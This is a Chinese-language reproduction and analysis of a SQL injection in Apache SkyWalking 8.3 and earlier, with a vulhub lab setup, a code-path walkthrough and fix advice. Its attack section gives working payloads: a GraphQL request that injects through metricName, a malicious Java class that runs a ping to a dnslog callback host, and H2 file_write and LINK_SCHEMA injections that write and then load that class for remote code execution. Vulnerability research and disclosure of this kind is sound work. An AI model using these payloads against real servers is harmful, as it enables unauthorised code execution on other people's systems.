Apache Skywalking <=8.3 SQL注入分析复现

Delina

原文链接：Apache Skywalking <=8.3 SQL注入分析复现
0x01 简介


Apache SkyWalking 是一款应用性能监控（APM）工具，对微服务、云原生和容器化应用提供自动化、高性能的监控方案。项目于 2015 年创建，并于 2017 年 12 月进入 Apache 孵化器。

Apache SkyWalking 提供了分布式追踪，服务网格（Service Mesh）遥感数据分析，指标聚合和可视化等多种能力。项目覆盖范围，从一个单纯的分布式追踪系统，扩展为一个可观测性分析平台（observability analysis platform）和应用性能监控管理系统。

0x02 漏洞概述

基于CVE-2020-9483、CVE-2020-13921，由于修补并不完善，导致被发现还存在一处SQL注入漏洞。结合 h2 数据库（默认的数据库），可以导致 RCE 。

0x03 影响版本

Apache Skywalking <= 8.3

0x04 环境搭建

利用vulhub的环境：

1. wget https://github.com/vulhub/vulhub/blob/master/skywalking/8.3.0-sqli/docker-compose.yml
   
2. docker-compose up -d

复制代码

然后访问8080端口，出现如下证明正常启动服务

​

0x05 漏洞复现

1、报错对于vulhub提供的请求包，需要做些调整，请求如下：

1. POST /graphql HTTP/1.1
   
2. Host: 192.168.18.154:8080
   
3. Cache-Control: max-age=0
   
4. Upgrade-Insecure-Requests: 1
   
5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
   
6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
   
7. Accept-Encoding: gzip, deflate
   
8. Accept-Language: zh-CN,zh;q=0.9
   
9. Connection: close
   
10. Content-Type: application/json
    
11. Content-Length: 554
    
12. 
    
13. {
    
14.     "query":"query queryLogs($condition: LogQueryCondition) {
    
15.   queryLogs(condition: $condition) {
    
16.     total
    
17.     logs {
    
18.       serviceId
    
19.       serviceName
    
20.       isError
    
21.       content
    
22.     }
    
23.   }
    
24. }
    
25. ",
    
26.     "variables":{
    
27.         "condition":{
    
28.             "metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
    
29.                         "endpointId":"1",
    
30.                     "traceId":"1",
    
31.                     "state":"ALL",
    
32.                     "stateCode":"1",
    
33.             "paging":{
    
34.                 "pageSize":10
    
35.             }
    
36.         }
    
37.     }
    
38. }

复制代码

成功报错：

​

2、RCE总的来说分为两步：
（1）利用file_write写入一个类
编写恶意类：

1. import java.io.IOException;
   
2. 
   
3. public class evil {
   
4.     static {
   
5.         try {
   
6.             Runtime.getRuntime().exec("ping 7hmkm6.dnslog.cn");
   
7.         } catch (IOException e) {
   
8.             e.printStackTrace();
   
9.         }
   
10.     }
    
11. 
    
12.     public static void main(String[] args) {
    
13. 
    
14.     }
    
15. }

复制代码

生成恶意类：

1. javac evil.java -target 1.6 -source 1.6

复制代码

转为hex：

1. with open("evil.class","rb") as f:
   
2.      a=f.read()
   
3.      print(a.hex())

复制代码

写入类：

1. INFORMATION_SCHEMA.USERS union  all select file_write('[替换为自己的hex编码结果]','evil.class'))a where 1=? or 1=? or 1=? --

复制代码

（2）利用LINK_SCHEMA调用该类

1. INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --

复制代码

有一点要记住：
由于双亲委派机制，导致加载一次恶意类之后，再去使用 link_schema 加载的时候无法加载。所以在实际使用的时候，需要再上传一个其他名字的恶意类来加载。

即每次加载类，要替换名称。

成功获取结果：

​

0x06 漏洞分析

整个sql注入调用栈如下：

​

当请求/graphql路由时，会交由
org.apache.skywalking.oap.query.graphql的dopost处理

​

dopost获取请求的json数据

​

因为是向querylogs发起查询请求

​​​

所以就走到
org.apache.skywalking.oap.query.graphql.resolver的LogQuery.queryLogs的方法，返回时调用getQueryService().queryLogs方法

​

走到org.apache.skywalking.oap.server.core.query的LogQueryService类的queryLogs方法

​

通过调用getLogQueryDAO方法，获取一个ILogQueryDAO对象

​

进行计算该表达式可知，返回一个h2client


​

H2LogQueryDAO继承了ILogQueryDAO接口，所以最终走入H2LogQueryDAO类的queryLogs方法，拼接metricName

​

然后执行查询

1.       try (ResultSet resultSet = h2Client.executeQuery(connection, buildCountStatement(sql.toString()), parameters
   
2.                 .toArray(new Object[0]))) {
   
3.                 while (resultSet.next()) {
   
4.                     logs.setTotal(resultSet.getInt("total"));
   
5.                 }
   
6.             }
   
7. 
   

复制代码

buildCountStatement将sql语句拼入select count：
​​​​
我们执行h2Client.executeQuery()，便可以得到报错结果

​

最后回到org.apache.skywalking.oap.query.graphql的GraphQLQueryHandler类，将查询结果以json形式返回

​

0x07 修复方式

1、升级Apache Skywalking 到最新的 v8.4.0 版本。
2、将默认h2数据库替换为其它支持的数据库。

参考链接：https://www.anquanke.com/post/id/231753